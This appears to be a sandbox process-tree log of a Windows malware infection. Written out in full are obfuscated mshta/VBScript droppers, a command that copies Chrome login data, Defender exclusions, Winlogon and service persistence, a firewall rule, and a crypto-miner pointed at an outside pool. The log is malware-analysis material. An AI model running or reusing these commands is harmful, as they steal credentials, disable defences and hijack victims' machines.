C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"4⤵
-
C:\Users\Admin\AppData\Roaming\Underdress.exeC:\Users\Admin\AppData\Roaming\Underdress.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\Unseduceability.exe"C:\Users\Admin\AppData\Local\Temp\Unseduceability.exe"4⤵
-
C:\Users\Admin\Pictures\Adobe Films\nQr_0Jgh01NJKIlRn5PmSLTd.exe"C:\Users\Admin\Pictures\Adobe Films\nQr_0Jgh01NJKIlRn5PmSLTd.exe"2⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\Pictures\Adobe Films\nQr_0Jgh01NJKIlRn5PmSLTd.exe" & exit3⤵
-
C:\Windows\SysWOW64\timeout.exetimeout /t 54⤵
- Delays execution with timeout.exe
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\Pictures\Adobe Films\nLrYDk4REFt8g5lbLoQsa8Ux.exe"C:\Users\Admin\Pictures\Adobe Films\nLrYDk4REFt8g5lbLoQsa8Ux.exe"2⤵
-
C:\Users\Admin\Pictures\Adobe Films\nLrYDk4REFt8g5lbLoQsa8Ux.exe"C:\Users\Admin\Pictures\Adobe Films\nLrYDk4REFt8g5lbLoQsa8Ux.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS874802B5\Fri04f70c88181ec8.exeFri04f70c88181ec8.exe1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\7zS874802B5\Fri04113f869350dcf8.exeFri04113f869350dcf8.exe1⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCript: clOse ( CrEATeObJeCt ( "WscrIpT.sHELl" ). rUn ( "cmd /Q /C copy /y ""C:\Users\Admin\AppData\Local\Temp\7zS874802B5\Fri04113f869350dcf8.exe"" ..\z1HFJkPKWMLYRf.EXE && StArt ..\Z1hFJKPKWMLYRf.eXE -pVmK5OY1Q2FwiV3_NJROp~tX8k & IF """" == """" for %s iN ( ""C:\Users\Admin\AppData\Local\Temp\7zS874802B5\Fri04113f869350dcf8.exe"" ) do taskkill /Im ""%~Nxs"" -f " , 0 , TRUE) )2⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /Q /C copy /y "C:\Users\Admin\AppData\Local\Temp\7zS874802B5\Fri04113f869350dcf8.exe" ..\z1HFJkPKWMLYRf.EXE&& StArt ..\Z1hFJKPKWMLYRf.eXE -pVmK5OY1Q2FwiV3_NJROp~tX8k & IF "" == "" for %s iN ( "C:\Users\Admin\AppData\Local\Temp\7zS874802B5\Fri04113f869350dcf8.exe" ) do taskkill /Im "%~Nxs" -f3⤵
-
C:\Users\Admin\AppData\Local\Temp\z1HFJkPKWMLYRf.EXE..\Z1hFJKPKWMLYRf.eXE -pVmK5OY1Q2FwiV3_NJROp~tX8k4⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCript: clOse ( CrEATeObJeCt ( "WscrIpT.sHELl" ). rUn ( "cmd /Q /C copy /y ""C:\Users\Admin\AppData\Local\Temp\z1HFJkPKWMLYRf.EXE"" ..\z1HFJkPKWMLYRf.EXE && StArt ..\Z1hFJKPKWMLYRf.eXE -pVmK5OY1Q2FwiV3_NJROp~tX8k & IF ""-pVmK5OY1Q2FwiV3_NJROp~tX8k "" == """" for %s iN ( ""C:\Users\Admin\AppData\Local\Temp\z1HFJkPKWMLYRf.EXE"" ) do taskkill /Im ""%~Nxs"" -f " , 0 , TRUE) )5⤵
- Executes dropped EXE
- Adds Run key to start application
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /Q /C copy /y "C:\Users\Admin\AppData\Local\Temp\z1HFJkPKWMLYRf.EXE" ..\z1HFJkPKWMLYRf.EXE&& StArt ..\Z1hFJKPKWMLYRf.eXE -pVmK5OY1Q2FwiV3_NJROp~tX8k & IF "-pVmK5OY1Q2FwiV3_NJROp~tX8k " == "" for %s iN ( "C:\Users\Admin\AppData\Local\Temp\z1HFJkPKWMLYRf.EXE" ) do taskkill /Im "%~Nxs" -f6⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vBsCrIpt: closE ( crEateOBjECT ("WsCRipT.sHELl" ). ruN ( "cmD.Exe /r EchO | SEt /P = ""MZ"" > OoZ39QP7.Q~P & cOPy /Y /b OOZ39QP7.q~P + 3_PI.f2x + 6TWz8s9B.~T +TiRWH.Ql + FFUU.A1 + YZA~WMAU.H + FDHTx.pBB + V16YA.kU ..\WGKZNZ9t.jOX & StArT msiexec.exe -y ..\WgKZNZ9T.JOX & deL /Q * " , 0 , TRUE ) )5⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /r EchO | SEt /P = "MZ" > OoZ39QP7.Q~P & cOPy /Y /b OOZ39QP7.q~P + 3_PI.f2x + 6TWz8s9B.~T +TiRWH.Ql + FFUU.A1 + YZA~WMAU.H + FDHTx.pBB + V16YA.kU ..\WGKZNZ9t.jOX & StArT msiexec.exe -y ..\WgKZNZ9T.JOX & deL /Q *6⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" EchO "7⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" SEt /P = "MZ" 1>OoZ39QP7.Q~P"7⤵
-
C:\Windows\SysWOW64\msiexec.exemsiexec.exe -y ..\WgKZNZ9T.JOX7⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /Im "Fri04113f869350dcf8.exe" -f4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\7zS874802B5\Fri040eeed7d137.exeFri040eeed7d137.exe1⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "Fri040eeed7d137.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\7zS874802B5\Fri040eeed7d137.exe" & exit2⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "Fri040eeed7d137.exe" /f3⤵
- Kills process with taskkill
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵
-
C:\Windows\SysWOW64\help.exe"C:\Windows\SysWOW64\help.exe"1⤵
-
C:\Windows\SysWOW64\cmd.exe/c del "C:\Users\Admin\Pictures\Adobe Films\_sJyuNlQaaEt6t2ksTKDQhou.exe"2⤵
-
C:\Windows\SysWOW64\cmd.exe/c copy "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Login Data" "C:\Users\Admin\AppData\Local\Temp\DB1" /V2⤵
-
C:\Program Files\Mozilla Firefox\Firefox.exe"C:\Program Files\Mozilla Firefox\Firefox.exe"2⤵
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵
-
C:\Users\Admin\AppData\Local\Temp\DCD.exeC:\Users\Admin\AppData\Local\Temp\DCD.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\DCD.exeC:\Users\Admin\AppData\Local\Temp\DCD.exe2⤵
-
C:\Users\Admin\AppData\Local\Temp\12B0.exeC:\Users\Admin\AppData\Local\Temp\12B0.exe1⤵
-
C:\Users\Admin\AppData\Roaming\Smart Clock\SmartClock.exe"C:\Users\Admin\AppData\Roaming\Smart Clock\SmartClock.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\24B3.exeC:\Users\Admin\AppData\Local\Temp\24B3.exe1⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\uqkqqtqn\2⤵
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\shiobmgf.exe" C:\Windows\SysWOW64\uqkqqtqn\2⤵
-
C:\Windows\SysWOW64\sc.exe"C:\Windows\System32\sc.exe" create uqkqqtqn binPath= "C:\Windows\SysWOW64\uqkqqtqn\shiobmgf.exe /d\"C:\Users\Admin\AppData\Local\Temp\24B3.exe\"" type= own start= auto DisplayName= "wifi support"2⤵
-
C:\Windows\SysWOW64\sc.exe"C:\Windows\System32\sc.exe" description uqkqqtqn "wifi internet conection"2⤵
-
C:\Windows\SysWOW64\sc.exe"C:\Windows\System32\sc.exe" start uqkqqtqn2⤵
-
C:\Windows\SysWOW64\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul2⤵
-
C:\Users\Admin\AppData\Local\Temp\3BA7.exeC:\Users\Admin\AppData\Local\Temp\3BA7.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\4CEE.exeC:\Users\Admin\AppData\Local\Temp\4CEE.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\8AA3.exeC:\Users\Admin\AppData\Local\Temp\8AA3.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\F380.exeC:\Users\Admin\AppData\Local\Temp\F380.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\F380.exeC:\Users\Admin\AppData\Local\Temp\F380.exe2⤵
-
C:\Users\Admin\AppData\Local\Temp\46B2.exeC:\Users\Admin\AppData\Local\Temp\46B2.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\46B2.exeC:\Users\Admin\AppData\Local\Temp\46B2.exe2⤵
-
C:\Users\Admin\AppData\Local\Temp\62D6.exeC:\Users\Admin\AppData\Local\Temp\62D6.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\AE86.exeC:\Users\Admin\AppData\Local\Temp\AE86.exe1⤵
-
C:\Windows\SysWOW64\uqkqqtqn\shiobmgf.exeC:\Windows\SysWOW64\uqkqqtqn\shiobmgf.exe /d"C:\Users\Admin\AppData\Local\Temp\24B3.exe"1⤵
-
C:\Windows\SysWOW64\svchost.exesvchost.exe2⤵
-
C:\Windows\SysWOW64\svchost.exesvchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half3⤵
-
C:\Users\Admin\AppData\Local\Temp\D25B.exeC:\Users\Admin\AppData\Local\Temp\D25B.exe1⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Test-Connection www.youtube.com2⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Test-Connection www.youtube.com2⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Test-Connection www.youtube.com2⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Test-Connection www.youtube.com2⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Test-Connection www.youtube.com2⤵
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵
-
C:\Users\Admin\AppData\Local\Temp\F9BA.exeC:\Users\Admin\AppData\Local\Temp\F9BA.exe1⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ipconfig /release2⤵
-
C:\Windows\SysWOW64\ipconfig.exe"C:\Windows\system32\ipconfig.exe" /release3⤵
- Gathers network information
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ping twitter.com2⤵
-
C:\Windows\SysWOW64\PING.EXE"C:\Windows\system32\PING.EXE" twitter.com3⤵
- Runs ping.exe
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ping twitter.com2⤵
-
C:\Windows\SysWOW64\PING.EXE"C:\Windows\system32\PING.EXE" twitter.com3⤵
- Runs ping.exe
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ping twitter.com2⤵
-
C:\Windows\SysWOW64\PING.EXE"C:\Windows\system32\PING.EXE" twitter.com3⤵
- Runs ping.exe
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ping twitter.com2⤵
-
C:\Windows\SysWOW64\PING.EXE"C:\Windows\system32\PING.EXE" twitter.com3⤵
- Runs ping.exe
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ping twitter.com2⤵
-
C:\Windows\SysWOW64\PING.EXE"C:\Windows\system32\PING.EXE" twitter.com3⤵
- Runs ping.exe
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ipconfig /renew2⤵
-
C:\Windows\SysWOW64\ipconfig.exe"C:\Windows\system32\ipconfig.exe" /renew3⤵
- Gathers network information
-
C:\Users\Admin\AppData\Local\Temp\F9BA.exeC:\Users\Admin\AppData\Local\Temp\F9BA.exe2⤵
-
C:\Users\Admin\AppData\Local\Temp\1264.exeC:\Users\Admin\AppData\Local\Temp\1264.exe1⤵
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c REG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v "Shell" /t REG_SZ /d "explorer.exe,C:\Users\Admin\AppData\Local\chromedrlver.exe,"2⤵
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v "Shell" /t REG_SZ /d "explorer.exe,C:\Users\Admin\AppData\Local\chromedrlver.exe,"3⤵
-
C:\Users\Admin\AppData\Local\chromedrlver.exe"C:\Users\Admin\AppData\Local\chromedrlver.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\InstallUtil.exe"C:\Users\Admin\AppData\Local\Temp\InstallUtil.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\331C.exeC:\Users\Admin\AppData\Local\Temp\331C.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\9029995e-956f-45a6-8ff6-3fdece6b85be\AdvancedRun.exe"C:\Users\Admin\AppData\Local\Temp\9029995e-956f-45a6-8ff6-3fdece6b85be\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\9029995e-956f-45a6-8ff6-3fdece6b85be\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run2⤵
-
C:\Users\Admin\AppData\Local\Temp\9029995e-956f-45a6-8ff6-3fdece6b85be\AdvancedRun.exe"C:\Users\Admin\AppData\Local\Temp\9029995e-956f-45a6-8ff6-3fdece6b85be\AdvancedRun.exe" /SpecialRun 4101d8 95163⤵
-
C:\Users\Admin\AppData\Local\Temp\c483c5a9-7148-487c-8014-a4f0271c5b1b\AdvancedRun.exe"C:\Users\Admin\AppData\Local\Temp\c483c5a9-7148-487c-8014-a4f0271c5b1b\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\c483c5a9-7148-487c-8014-a4f0271c5b1b\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run2⤵
-
C:\Users\Admin\AppData\Local\Temp\c483c5a9-7148-487c-8014-a4f0271c5b1b\AdvancedRun.exe"C:\Users\Admin\AppData\Local\Temp\c483c5a9-7148-487c-8014-a4f0271c5b1b\AdvancedRun.exe" /SpecialRun 4101d8 82123⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\331C.exe" -Force2⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\331C.exe" -Force2⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\331C.exe" -Force2⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe" -Force2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe" -Force2⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\331C.exe" -Force2⤵
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\b2ef0284-00af-4f57-a177-dcac6026d78f\AdvancedRun.exe"C:\Users\Admin\AppData\Local\Temp\b2ef0284-00af-4f57-a177-dcac6026d78f\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\b2ef0284-00af-4f57-a177-dcac6026d78f\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run3⤵
-
C:\Users\Admin\AppData\Local\Temp\b2ef0284-00af-4f57-a177-dcac6026d78f\AdvancedRun.exe"C:\Users\Admin\AppData\Local\Temp\b2ef0284-00af-4f57-a177-dcac6026d78f\AdvancedRun.exe" /SpecialRun 4101d8 111684⤵
-
C:\Users\Admin\AppData\Local\Temp\191b5e5e-c645-4f51-a5aa-1bc1dc9be90a\AdvancedRun.exe"C:\Users\Admin\AppData\Local\Temp\191b5e5e-c645-4f51-a5aa-1bc1dc9be90a\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\191b5e5e-c645-4f51-a5aa-1bc1dc9be90a\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run3⤵
-
C:\Users\Admin\AppData\Local\Temp\191b5e5e-c645-4f51-a5aa-1bc1dc9be90a\AdvancedRun.exe"C:\Users\Admin\AppData\Local\Temp\191b5e5e-c645-4f51-a5aa-1bc1dc9be90a\AdvancedRun.exe" /SpecialRun 4101d8 45404⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe" -Force3⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe" -Force3⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe" -Force3⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Cursors\veejays\svchost.exe" -Force3⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe" -Force3⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Cursors\veejays\svchost.exe" -Force3⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"3⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Cursors\veejays\svchost.exe" -Force2⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\331C.exe" -Force2⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Cursors\veejays\svchost.exe" -Force2⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInUtil.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInUtil.exe"2⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe"2⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe"2⤵
-
C:\Program Files (x86)\Ps28\ojotjl80it9l_r.exe"C:\Program Files (x86)\Ps28\ojotjl80it9l_r.exe"1⤵
-
C:\Users\Admin\AppData\Local\Temp\813D.exeC:\Users\Admin\AppData\Local\Temp\813D.exe1⤵
-
C:\Users\Admin\AppData\Roaming\aivdtesC:\Users\Admin\AppData\Roaming\aivdtes1⤵
-
C:\Users\Admin\AppData\Roaming\aivdtesC:\Users\Admin\AppData\Roaming\aivdtes2⤵
-
C:\Users\Admin\AppData\Roaming\sjvdtesC:\Users\Admin\AppData\Roaming\sjvdtes1⤵
-
C:\Users\Admin\AppData\Roaming\fcvdtesC:\Users\Admin\AppData\Roaming\fcvdtes1⤵
-
C:\Users\Admin\AppData\Local\Temp\9CA5.exeC:\Users\Admin\AppData\Local\Temp\9CA5.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\9CA5.exeC:\Users\Admin\AppData\Local\Temp\9CA5.exe2⤵
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Users\Admin\AppData\Local\e6c26efa-2331-4a77-ae45-edee326d06af" /deny *S-1-1-0:(OI)(CI)(DE,DC)3⤵
- Modifies file permissions
-
C:\Users\Admin\AppData\Local\Temp\9CA5.exe"C:\Users\Admin\AppData\Local\Temp\9CA5.exe" --Admin IsNotAutoStart IsNotTask3⤵
-
C:\Users\Admin\AppData\Local\Temp\9CA5.exe"C:\Users\Admin\AppData\Local\Temp\9CA5.exe" --Admin IsNotAutoStart IsNotTask4⤵
-
C:\Users\Admin\AppData\Local\7d1518b3-022e-416c-a89a-ea18493f0ac5\build2.exe"C:\Users\Admin\AppData\Local\7d1518b3-022e-416c-a89a-ea18493f0ac5\build2.exe"5⤵
-
C:\Users\Admin\AppData\Local\7d1518b3-022e-416c-a89a-ea18493f0ac5\build2.exe"C:\Users\Admin\AppData\Local\7d1518b3-022e-416c-a89a-ea18493f0ac5\build2.exe"6⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im build2.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\7d1518b3-022e-416c-a89a-ea18493f0ac5\build2.exe" & del C:\ProgramData\*.dll & exit7⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im build2.exe /f8⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\timeout.exetimeout /t 68⤵
- Delays execution with timeout.exe
-
C:\Users\Admin\AppData\Local\Temp\A244.exeC:\Users\Admin\AppData\Local\Temp\A244.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\A542.exeC:\Users\Admin\AppData\Local\Temp\A542.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\BF05.exeC:\Users\Admin\AppData\Local\Temp\BF05.exe1⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbsCRIPt: CloSE ( CrEATEOBJECT ( "WscriPT.ShEll" ). rUn ( "C:\Windows\system32\cmd.exe /r cOPy /y ""C:\Users\Admin\AppData\Local\Temp\BF05.exe"" ..\YGu6dRX.eXE && STart ..\YGU6DRX.exE -pEu3VPItrF6pCIFoPfAdI7 & iF """" == """" for %Q iN ( ""C:\Users\Admin\AppData\Local\Temp\BF05.exe"" ) do taskkill /im ""%~nXQ"" -f ", 0 ,TRUe ) )2⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /r cOPy /y "C:\Users\Admin\AppData\Local\Temp\BF05.exe" ..\YGu6dRX.eXE && STart ..\YGU6DRX.exE -pEu3VPItrF6pCIFoPfAdI7 & iF "" =="" for %Q iN ( "C:\Users\Admin\AppData\Local\Temp\BF05.exe" ) do taskkill /im "%~nXQ" -f3⤵
-
C:\Users\Admin\AppData\Local\Temp\YGu6dRX.eXE..\YGU6DRX.exE -pEu3VPItrF6pCIFoPfAdI74⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbsCRIPt: CloSE ( CrEATEOBJECT ( "WscriPT.ShEll" ). rUn ( "C:\Windows\system32\cmd.exe /r cOPy /y ""C:\Users\Admin\AppData\Local\Temp\YGu6dRX.eXE"" ..\YGu6dRX.eXE && STart ..\YGU6DRX.exE -pEu3VPItrF6pCIFoPfAdI7 & iF ""-pEu3VPItrF6pCIFoPfAdI7 "" == """" for %Q iN ( ""C:\Users\Admin\AppData\Local\Temp\YGu6dRX.eXE"" ) do taskkill /im ""%~nXQ"" -f ", 0 ,TRUe ) )5⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /r cOPy /y "C:\Users\Admin\AppData\Local\Temp\YGu6dRX.eXE" ..\YGu6dRX.eXE && STart ..\YGU6DRX.exE -pEu3VPItrF6pCIFoPfAdI7 & iF "-pEu3VPItrF6pCIFoPfAdI7 " =="" for %Q iN ( "C:\Users\Admin\AppData\Local\Temp\YGu6dRX.eXE" ) do taskkill /im "%~nXQ" -f6⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbSCrIPt: ClosE ( CReatEoBJect ( "wSCRiPt.sHELl" ). rUN ( "CMd.EXE /q /R Echo | SET /p = ""MZ"" >G52~.M & cOpY /y /B g52~.M + MyDCSYS.aJ2 + SoLi.X + NlEYUAM.J + VrTf6S.Kuq + JAWQ.UF + 5CkHYa.YmN ..\FJ~iiI.s & DEL /q *& sTart control ..\FJ~iII.s " , 0 , tRue ))5⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /q /R Echo | SET /p = "MZ" >G52~.M & cOpY /y /B g52~.M + MyDCSYS.aJ2 + SoLi.X + NlEYUAM.J + VrTf6S.Kuq + JAWQ.UF + 5CkHYa.YmN ..\FJ~iiI.s &DEL /q *& sTart control ..\FJ~iII.s6⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" Echo "7⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" SET /p = "MZ" 1>G52~.M"7⤵
-
C:\Windows\SysWOW64\control.execontrol ..\FJ~iII.s7⤵
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL ..\FJ~iII.s8⤵
-
